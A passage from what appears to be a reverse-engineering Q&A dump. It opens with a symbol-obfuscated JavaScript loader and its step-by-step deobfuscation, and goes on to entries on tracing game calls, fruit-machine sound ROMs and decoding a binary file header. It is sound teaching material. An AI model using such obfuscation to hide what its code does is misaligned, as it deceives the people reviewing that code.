\u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\"\\\\\\\"><\\\\\\\\/\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$__+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$_+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.___+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__+\">').\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$_+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.___+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.___+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$$_+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_$+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$__+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$+\"(\\\\\\\"\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_$+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\"\\\\\\\");\"+\"\\\"\")())();\n
    \n", "Title": "How work this obfuscation, and how deobfuscate?", "Tags": "|javascript|", "Answer": "

    This obfuscated code is taking advantage of the wide possibilities to name Javascript variables. This makes a simple-obfuscated Javascript code to look much more scarier.

    \n\n

    As noted in the great article Valid JavaScript variable names and taken by me from this answer, Javascript variables can be represented using a wide-range of characters:

    \n\n
    \n

    An identifier must start with $, _, or any character in the Unicode\n categories \u201cUppercase letter (Lu)\u201d, \u201cLowercase letter (Ll)\u201d,\n \u201cTitlecase letter (Lt)\u201d, \u201cModifier letter (Lm)\u201d, \u201cOther letter (Lo)\u201d,\n or \u201cLetter number (Nl)\u201d.

    \n \n

    The rest of the string can contain the same characters, plus any\n U+200C zero width non-joiner characters, U+200D zero width joiner\n characters, and characters in the Unicode categories \u201cNon-spacing mark\n (Mn)\u201d, \u201cSpacing combining mark (Mc)\u201d, \u201cDecimal digit number (Nd)\u201d, or\n \u201cConnector punctuation (Pc)\u201d.

    \n
    \n\n

    To begin deobfuscate the code I recommend to first rename the variable name into more readable one, let's say x. Using your favorite editor, replace every instance of \u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7 to x. Then put a new line after each semicolon to make the reading easier:

    \n\n
    x=~[];\nx={___:++x,$$$$:(![]+\"\")[x],__$:++x,$_$_:(![]+\"\")[x],_$_:++x,$_$$:({}+\"\")[x],$$_$:(x[x]+\"\")[x],_$$:++x,$$$_:(!\"\"+\"\")[x],$__:++x,$_$:++x,$$__:({}+\"\")[x],$$_:++x,$$$:++x,$___:++x,$__$:++x};\nx.$_=(x.$_=x+\"\")[x.$_$]+(x._$=x.$_[x.__$])+(x.$$=(x.$+\"\")[x.__$])+((!x)+\"\")[x._$$]+(x.__=x.$_[x.$$_])+(x.$=(!\"\"+\"\")[x.__$])+(x._=(!\"\"+\"\")[x._$_])+x.$_[x.$_$]+x.__+x._$+x.$;\nx.$$=x.$+(!\"\"+\"\")[x._$$]+x.__+x._+x.$+x.$$;\nx.$=(x.___)[x.$_][x.$_];\nx.$(x.$(x.$$+\"\\\"\"+\"$('<\\\\\"+x.__$+x.$$_+x._$$+x.$$__+\"\\\\\"+x.__$+x.$$_+x._$_+\"\\\\\"+x.__$+x.$_$+x.__$+\"\\\\\"+x.__$+x.$$_+x.___+x.__+\"\\\\\"+x.$__+x.___+\"\\\\\"+x.__$+x.$$_+x._$$+\"\\\\\"+x.__$+x.$$_+x._$_+x.$$__+\"=\\\\\\\"\"+x.$_$_+\"\\\\\"+x.__$+x.$$_+x._$$+\"\\\\\"+x.__$+x.$$_+x._$$+x.$$$_+x.__+\"\\\\\"+x.__$+x.$$_+x._$$+\"/\\\\\"+x.__$+x.$_$+x._$_+\"\\\\\"+x.__$+x.$$_+x._$$+\"/\\\\\"+x.__$+x.__$+x.$_$+x.$_$_+x.__+\"\\\\\"+x.__$+x.$__+x.$$$+\"\\\\\"+x.__$+x.$_$+x.___+\"\\\\\"+x.__$+x.$$$+x.__$+x._+\"/\\\\\"+x.__$+x.___+x._$$+x.$$$_+x.$_$+x.$_$_+\"/\\\\\"+x.__$+x.$$_+x.$$$+x.$_$_+\"\\\\\"+x.__$+x.$_$+x.__$+\"\\\\\"+x.__$+x.$$_+x._$_+\".\"+x.$$__+x._$+\"\\\\\"+x.__$+x.$$_+x._$_+x.$$$_+\".\\\\\"+x.__$+x.$_$+x._$_+\"\\\\\"+x.__$+x.$$_+x._$$+\"?\\\\\"+x.__$+x.$$_+x.$$_+\"=\"+x.__$+x.$$_+\"\\\\\\\"><\\\\\\\\/\\\\\"+x.__$+x.$$_+x._$$+x.$$__+\"\\\\\"+x.__$+x.$$_+x._$_+\"\\\\\"+x.__$+x.$_$+x.__$+\"\\\\\"+x.__$+x.$$_+x.___+x.__+\">').\"+x.$_$_+\"\\\\\"+x.__$+x.$$_+x.___+\"\\\\\"+x.__$+x.$$_+x.___+x.$$$_+\"\\\\\"+x.__$+x.$_$+x.$$_+x.$$_$+\"\\\\\"+x.__$+x._$_+x.$__+x._$+\"(\\\\\\\"\"+x.$_$$+x._$+x.$$_$+\"\\\\\"+x.__$+x.$$$+x.__$+\"\\\\\\\"),\\\\\"+x.__$+x._$_+\"$('<\\\\\"+x.__$+x.$$_+x._$$+x.$$__+\"\\\\\"+x.__$+x.$$_+x._$_+\"\\\\\"+x.__$+x.$_$+x.__$+\"\\\\\"+x.__$+x.$$_+x.___+x.__+\"\\\\\"+x.$__+x.___+\"\\\\\"+x.__$+x.$$_+x._$$+\"\\\\\"+x.__$+x.$$_+x._$_+x.$$__+\"=\\\\\\\"\"+x.$_$_+\"\\\\\"+x.__$+x.$$_+x._$$+\"\\\\\"+x.__$+x.$$_+x._$$+x.$$$_+x.__+\"\\\\\"+x.__$+x.$$_+x._$$+\"/\\\\\"+x.__$+x.$_$+x._$_+\"\\\\\"+x.__$+x.$$_+x._$$+\"/\\\\\"+x.__$+x.__$+x.$_$+x.$_$_+x.__+\"\\\\\"+x.__$+x.$__+x.$$$+\"\\\\\"+x.__$+x.$_$+x.___+\"\\\\\"+x.__$+x.$$$+x.__$+x._+\"/\\\\\"+x.__$+x.___+x._$$+x.$$$_+x.$_$+x.$_$_+\"/\\\\\"+x.__$+x.$$_+x.$$$+x.$_$_+\"\\\\\"+x.__$+x.$_$+x.__$+\"\\\\\"+x.__$+x.$$_+x._$_+\".\\\\\"+x.__$+x.$_$+x.$_$+x.$_$_+\"\\\\\"+x.__$+x.$_$+x.__$+\"\\\\\"+x.__$+x.$_$+x.$$_+\"_\"+x._$+x._+x.__+\".\\\\\"+x.__$+x.$_$+x._$_+\"\\\\\"+x.__$+x.$$_+x._$$+\"?\\\\\"+x.__$+x.$$_+x.$$_+\"=\"+x.$$_+\"\\\\\\\"><\\\\\\\\/\\\\\"+x.__$+x.$$_+x._$$+x.$$__+\"\\\\\"+x.__$+x.$$_+x._$_+\"\\\\\"+x.__$+x.$_$+x.__$+\"\\\\\"+x.__$+x.$$_+x.___+x.__+\">').\"+x.$_$_+\"\\\\\"+x.__$+x.$$_+x.___+\"\\\\\"+x.__$+x.$$_+x.___+x.$$$_+\"\\\\\"+x.__$+x.$_$+x.$$_+x.$$_$+\"\\\\\"+x.__$+x._$_+x.$__+x._$+\"(\\\\\\\"\"+x.$_$$+x._$+x.$$_$+\"\\\\\"+x.__$+x.$$$+x.__$+\"\\\\\\\");\"+\"\\\"\")())();\n
    \n\n

    Now, without diving deeper into the code you can see that the code is combined from 6 lines. The first five are variable declarations and applying values to them, whereas the last line is the actual execution of the code (notice the () at the end which is a call for a function).

    \n\n

    The fastest way, in my opinion, to understand what the code does is to simply replace the () at the end with .toString(). This will make the program print the final code instead of executing it. Thus, with just a simple step you can deobfuscate and understand the code.

    \n\n

    NOTE: don't execute an obfuscated or possibly-malicious code on your machine. Use virtual machine or another safe environment to execute it.

    \n\n
    x=~[];\n...\n...\n< truncated for readability >\n...\n...\"\\\\\"+x.__$+x.$$$+x.__$+\"\\\\\\\");\"+\"\\\"\")()).toString();\n
    \n\n

    You can see that the following code is being printed to your screen:

    \n\n
    \"function anonymous(\n) {\n$('<script src=\"assets/js/Matghyu/Ce5a/wair.core.js?v=16\"><\\/script>').appendTo(\"body\"),\n$('<script src=\"assets/js/Matghyu/Ce5a/wair.main_out.js?v=6\"><\\/script>').appendTo(\"body\");\n}\"\n
    \n\n

    Now we can understand that the obfuscated code is appending two <script> tags to the body of the HTML page.

    \n\n

    If you want to you can always try to understand how the final code was built but I usually stop here since I already figured out what the program does and following the obfuscation method might cause a headache sometimes.

    \n" }, { "Id": "15947", "CreationDate": "2017-07-29T09:12:16.537", "Body": "

    Sometime I have to reverse engineer / disassemble some software/firmware/application, how can I keep track of the findings, the application flow I discovered and generally the details I need when I return to work on that project after some time (months)?

    \n\n

    Often I have to analyze some kind of home-made encryption system and while I work on the project I can keep all the details I need in mind but if I pause the project for some time (ex. 1 month) when I return to work on it I have to relearn at least half of the details.

    \n\n

    To sum up: I am searching for an easy, browsable, system to keep track of details of applications I disassemble to make them useful.

    \n", "Title": "How to document a reverse engineering operation?", "Tags": "|documentation|", "Answer": "

    If you would like to get examples of thorough reverse engineering documentation examples, one of the moderators here has a website with fully reverse engineered malware analysis IDA Pro databases. Looking at how he approaches each function might prove to be a good framework.

    \n\n

    http://www.msreverseengineering.com/blog/2014/6/23/baglew-thorough-idb

    \n\n

    http://www.msreverseengineering.com/blog/2014/6/23/commwarriorb-thorough-idb-armc

    \n" }, { "Id": "15961", "CreationDate": "2017-07-30T23:33:40.427", "Body": "

    I'm new on this, sorry for bad usage of terms or overextending an explanation. I'm learning code languages and the way I found to bring it to my world so I can learn it better was coding for/with games i play.

    \n\n
    \n\n

    When a window close on the game a function needs to be called, when the character move or you pick an item, everything has a command, function, process or some value of an address change and etc... What i wanted to know is if there something that shows me on real time every call, every value change, address value change, etc...

    \n\n

    Nowadays i have to reach some value address by CheatEngine, changing the value till i find the correct address. With this kind of thing i would have a list off things that is happening right now, and a \"log\" of the past things, then i go to the exact time that i did something, so i would have to look on that peace of the list and discover what did my \"something\"

    \n\n
      \n
    1. Click on a button;
      2. \n
    2. Check on the real-time thing what happened at the time of the \"Click\non a button\" process;
      3. \n
    3. Discover what call was responsible for that and what it did;
      4. \n
    4. Now i can code something that do what \"Click on a button\" do, without needing to actually click on that button;
      5. \n
    \n\n
    \n\n

    I have seen it somewhere, thats why i'm asking here, if i'm totally wrong and this doesn't exist, i'm sorry, i will delete this post.

    \n", "Title": "Real-time changes of executable on IDE/Assembler", "Tags": "|disassembly|assembly|ollydbg|executable|disassemblers|", "Answer": "

    sounds like you need something that implements differential debugging to quickly pinpoint the code which was executed in one case (e.g. clicking the button) but not others (not clicking). An early tool implementing this approach was PaiMei by Pedram Amini. Unfortunately it's been abandoned and probably won't work with recent software. IDA has a trace recording/diffing feature which may be used for this purpose. You can also write your own tool based on some debugging framework or a DBI engine like PIN.

    \n" }, { "Id": "15964", "CreationDate": "2017-07-31T09:02:39.247", "Body": "

    I have two files that have the extension .P1 and .P2

    \n\n

    These files are ROM sound files from a particular 'real world' fruit machine (also known as a slot machine).

    \n\n

    There is some Fruit Machine emulation software (MFME) that reads both the sound ROM files and the game ROM files in order recreate the fruit machine within a PC.

    \n\n

    I'm playing around creating my own fruit machine with the editor side of MFME, based on an existing fruit machine, and want to edit the sounds on this machine.

    \n\n

    Unfortunately MFME doesn't have the functionality to edit sound files, only to read them.

    \n\n

    The sound ROMs are apparently comprise of all the sounds packed one after another with a table at the start pointing to where each sound file is (lots of short beeps, buzzes, pings etc as you would expect from a fruit machine).

    \n\n

    Does anyone know what software I would need to edit these files in order to insert my own sounds? I originally thought I would need a disassembler but when I downloaded one it wouldn't open them as they weren't either .exe or .dll files (I tried changing the extension of the file but the disassembler still knew they weren't the correct type of file).

    \n\n

    How can I go about reverse engineering these files in order to edit them? Any ideas?

    \n\n

    Thanks. :-)

    \n", "Title": "How to edit a type of sound file used with a fruit machine emulator?", "Tags": "|disassembly|", "Answer": "

    The MFME source code is available to read.

    \n\n

    You'll probably want to start with interface.cpp, which has most of the logic for deciding which sound format to load in TForm1::Load(String). There are at least ten or so different formats from the look of it.

    \n\n

    You can then take a look at sample.cpp which has the implementation for loading files. LoadJPMSound is of particular interest, but there are other formats to consider.

    \n\n

    Here are the key facts for JPM sounds:

    \n\n\n\n

    For YMZ samples, the file contains 250 sample entries, each consisting of:

    \n\n\n\n

    The YMZ280B format is step-based format where each next signal value in the wave is encoded as the difference from the previous signal value (or 0 for the first sample). The 4-bit value is an index to a lookup table containing the possible steps: The step LUT is calculated as follows:

    \n\n
    // nib from 0000 to 1111\nfor (nib = 0; nib < 16; nib++) {\n    int value = (nib & 0x07) * 2 + 1;\n    diff_lookup[nib] = (nib & 0x08) ? -value : value;\n}\n
    \n\n

    That should hopefully get you started. The source code should get you the rest.

    \n" }, { "Id": "15969", "CreationDate": "2017-07-31T15:45:46.927", "Body": "

    I have these data files that are generated by a tool which was distributed by a company that is long defunct. I have been taking it apart with a binary file viewer (freeware from Proxoft, it is a great tool) and I am close to completion. Here is an image of the PDF generated by the tool from the data file:

    \n\n

    \"image\"

    \n\n

    The file contains a 320x320x8bit image, actually there are 4 bytes representing 4 images. The file length is 412900 bytes. There is a header of 3128 bytes, followed by the 320*320*4 byte image data, followed by a 172 byte footer.

    \n\n

    In the header there are human readable strings, followed by mostly zeroes with some non-zero bytes, that clearly have some pattern, which repeats then by another human readable header. This is the (encoded?) data I seek I believe.

    \n\n

    What I am asking here is for some expertise on decoding what appears to be the data I am trying to extract between items in the header and the footer. I have tried big endian, little endian, 1,2,4,8 byte views of the bytes, and I cannot figure it out. If someone can help me figure this out, it would be much appreciated.

    \n\n

    Here are some bytes showing human readable parts (from 3128 byte header), and the spaces in between:

    \n\n
    001072 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 T E R M \u25e6 \u25e6 \u25e6 \u25e6\n001088 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6\n001104 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 P I X E L C O U N T\n001120 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6\n001136 \u25e6 \u25e6 \u25e6 \u25e6 V A L L E Y \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6\n001152 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6\n001168 \u25e6 \u25e6 P E A K \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6\n001184 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6\n001200 R M S \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6\n001216 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 R A\n001232 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6\n001248 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 \u25e6 R S \u25e6 \u25e6\n
    \n\n

    Since I have no good way to post the actual data, I have uploaded it remotely:

    \n\n

    http://www.rettc.com/binarydecode/

    \n\n

    .mmd is binary file, .pdf is pdf from the software, .bmp is my extracted image data, .png is an image of the pdf.

    \n\n

    So, if anyone can figure out how to decode the data in between the human readable items in the header and footer of this binary file, you will be officially recognized as \"da man!\" or \"da woman!\" by me eternally.

    \n\n

    Thanks for taking a look!

    \n", "Title": "Decoding binary data structure", "Tags": "|binary-analysis|", "Answer": "

    the header consists of 2280 bytes or 0x8e8 bytes as indicated in the first DIRECTORY

    \n\n

    each of the item is 30 bytes or 0x1e bytes long

    \n\n

    so around 76 items can fit in the header

    \n\n

    each last dword in the item denotes the length of the item

    \n\n

    so DIRECTORY is 0x8e8
    \nTITLE is 0x80 \ntime is 0x14

    \n\n

    the header can be dumped with xxd like this

    \n\n
    :\\>xxd -s 0 -g30 -c 30 -l 0x8e8 21SIDEB.MMD\n0000000: 4449524543544f525900460084d846006936430000014b000100e8080000  DIRECTORY.F...F.i6C...K.......\n000001e: 5449544c4500000000000000000000000000000000020100800080000000  TITLE.........................\n000003c: 54494d450000000000000000000000000000000000020100140014000000  TIME..........................\n000005a: 444154450000000000000000000000000000000000020100140014000000  DATE..........................\n0000078: 444154415459504500000000000000000000000000020100140014000000  DATATYPE......................\n0000096: 444151000000000000000000000000000000000000020100140014000000  DAQ...........................\n00000b4: 504843000000000000000000000000000000000000020100140014000000  PHC...........................\n00000d2: 5245434f4e00000000000000000000000000000000020100140014000000  RECON.........................\n00000f0: 4445544d41534b0000000000000000000000000000020100140014000000  DETMASK.......................\n000010e: 5445524d41534b0000000000000000000000000000020100140014000000  TERMASK.......................\n000012c: 4441544d41534b0000000000000000000000000000020100140014000000  DATMASK.......................\n000014a: 52454646494c450000000000000000000000000000020100140014000000  REFFILE.......................\n0000168: 494e535452554d454e540000000000000000000000020100140014000000  INSTRUMENT....................\n0000186: 53455155454e434500000000000000000000000000040100010002000000  SEQUENCE......................\n00001a4: 53455249414c000000000000000000000000000000020100140014000000  SERIAL........................\n00001c2: 504152544944000000000000000000000000000000020100140014000000  PARTID........................\n00001e0: 585354414745000000000000000000000000000000060100010004000000  XSTAGE........................\n00001fe: 595354414745000000000000000000000000000000060100010004000000  YSTAGE........................\n000021c: 5a5354414745000000000000000000000000000000060100010004000000  ZSTAGE........................\n000023a: 544845544153544147450000000000000000000000060100010004000000  THETASTAGE....................\n0000258: 5350454349414c5048415345000000000000000000020100140014000000  SPECIALPHASE..................\n0000276: 5350454349414c4441544100000000000000000000020100140014000000  SPECIALDATA...................\n0000294: 46494c5445524c4142454c00000000000000000000020100140014000000  FILTERLABEL...................\n00002b2: 4d41474c4142454c00000000000000000000000000020100140014000000  MAGLABEL......................\n00002d0: 43414d4552415f4c4142454c000000000000000000020100140014000000  CAMERA_LABEL..................\n00002ee: 545542455f4c4142454c0000000000000000000000020100140014000000  TUBE_LABEL....................\n000030c: 58504958454c000000000000000000000000000000060100010004000000  XPIXEL........................\n000032a: 59504958454c000000000000000000000000000000060100010004000000  YPIXEL........................\n0000348: 5a5343414c45000000000000000000000000000000060100010004000000  ZSCALE........................\n0000366: 4f524947494e580000000000000000000000000000040100010002000000  ORIGINX.......................\n0000384: 4f524947494e590000000000000000000000000000040100010002000000  ORIGINY.......................\n00003a2: 505a54534849465400000000000000000000000000060100010004000000  PZTSHIFT......................\n00003c0: 4d4f44544852455348000000000000000000000000060100010004000000  MODTHRESH.....................\n00003de: 534d4f4f5448000000000000000000000000000000060100010004000000  SMOOTH........................\n00003fc: 424144504958454c00000000000000000000000000060100010004000000  BADPIXEL......................\n000041a: 524547494f4e530000000000000000000000000000040100010002000000  REGIONS.......................\n0000438: 5445524d0000000000000000000000000000000000020100140014000000  TERM..........................\n0000456: 504958454c434f554e540000000000000000000000050100010004000000  PIXELCOUNT....................\n0000474: 56414c4c4559000000000000000000000000000000060100010004000000  VALLEY........................\n0000492: 5045414b0000000000000000000000000000000000060100010004000000  PEAK..........................\n00004b0: 524d53000000000000000000000000000000000000060100010004000000  RMS...........................\n00004ce: 524100000000000000000000000000000000000000060100010004000000  RA............................\n00004ec: 525300000000000000000000000000000000000000060100010004000000  RS............................\n000050a: 435300000000000000000000000000000000000000060100010004000000  CS............................\n0000528: 523100000000000000000000000000000000000000060100010004000000  R1............................\n0000546: 523200000000000000000000000000000000000000060100010004000000  R2............................\n0000564: 413100000000000000000000000000000000000000060100010004000000  A1............................\n0000582: 4d45414e0000000000000000000000000000000000060100010004000000  MEAN..........................\n00005a0: 5445524d53000000000000000000000000000000000701001c00e0000000  TERMS.........................\n00005be: 444154410000000000000000000000000000000000064001400100400600  DATA..................@.@..@..\n00005dc: 4d4f44454e414d4500000000000000000000000000020100140014000000  MODENAME......................\n00005fa: 545542454e414d4500000000000000000000000000020100140014000000  TUBENAME......................\n0000618: 52454c41594e414d45000000000000000000000000020100140014000000  RELAYNAME.....................\n0000636: 43414d4552414e414d450000000000000000000000020100140014000000  CAMERANAME....................\n0000654: 4f50455241544f5200000000000000000000000000020100140014000000  OPERATOR......................\n0000672: 4c4f544e554d424552000000000000000000000000020100140014000000  LOTNUMBER.....................\n0000690: 504152544e554d4245520000000000000000000000020100140014000000  PARTNUMBER....................\n00006ae: 58444543494d4154494f4e00000000000000000000040100010002000000  XDECIMATION...................\n00006cc: 59444543494d4154494f4e00000000000000000000040100010002000000  YDECIMATION...................\n00006ea: 46494c544552574156454c454e4754480000000000060100010004000000  FILTERWAVELENGTH..............\n0000708: 4f424a4543544956454d4147000000000000000000060100010004000000  OBJECTIVEMAG..................\n0000726: 4f424a4543544956454e4100000000000000000000060100010004000000  OBJECTIVENA...................\n0000744: 545542454d41470000000000000000000000000000060100010004000000  TUBEMAG.......................\n0000762: 52454c41594d414700000000000000000000000000060100010004000000  RELAYMAG......................\n0000780: 43414d45524158504958454c000000000000000000060100010004000000  CAMERAXPIXEL..................\n000079e: 43414d45524159504958454c000000000000000000060100010004000000  CAMERAYPIXEL..................\n00007bc: 000000000000000000000000000000000000000000000000000000000000  ..............................\n00007da: 000000000000000000000000000000000000000000000000000000000000  ..............................\n00007f8: 000000000000000000000000000000000000000000000000000000000000  ..............................\n0000816: 000000000000000000000000000000000000000000000000000000000000  ..............................\n0000834: 000000000000000000000000000000000000000000000000000000000000  ..............................\n0000852: 000000000000000000000000000000000000000000000000000000000000  ..............................\n0000870: 000000000000000000000000000000000000000000000000000000000000  ..............................\n000088e: 000000000000000000000000000000000000000000000000000000000000  ..............................\n00008ac: 000000000000000000000000000000000000000000000000000000000000  ..............................\n00008ca: 000000000000000000000000000000000000000000000000000000000000  ..............................\n
    \n\n

    the title ican be dumped like this

    \n\n
    :\\>xxd -s 0x8e8 -g16 -l 0x80 21SIDEB.MMD\n00008e8: 32312053494445204200736500000000  21 SIDE B.se....\n00008f8: 0000000088f61200000000006cf91200  ............l...\n0000908: 8f04447eb08e427e7419dd73b825ea73  ..D~..B~t..s.%.s\n0000918: 400000000300000044f71200b825ea73  @.......D....%.s\n0000928: a825ea73b8f612002cf712000042e673  .%.s....,....B.s\n0000938: ffffffff44f7120058f7120004f71200  ....D...X.......\n0000948: f27ce273489ceb00fd99eb0090224700  .|.sH........\"G.\n0000958: 84d8460014d94600d87c420040010000  ..F...F..|B.@...\n
    \n\n

    time date and datatype

    \n\n
    :\\>xxd -s 0x968 -g16 -l 0x14 21SIDEB.MMD\n0000968: 31363a30333a35340000736500000000  16:03:54..se....\n0000978: 00000000                          ....\n\n:\\>xxd -s 0x97c -g16 -l 0x14 21SIDEB.MMD\n000097c: 323031372d30372d3131006500000000  2017-07-11.e....\n000098c: 00000000                          ....\n\n:\\>xxd -s 0x990 -g16 -l 0x14 21SIDEB.MMD\n0000990: 53555246414345004f4e00004f464600  SURFACE.ON..OFF.\n00009a0: 44454255                          DEBU\n
    \n\n

    based on this the data should start at 0xc38

    \n\n
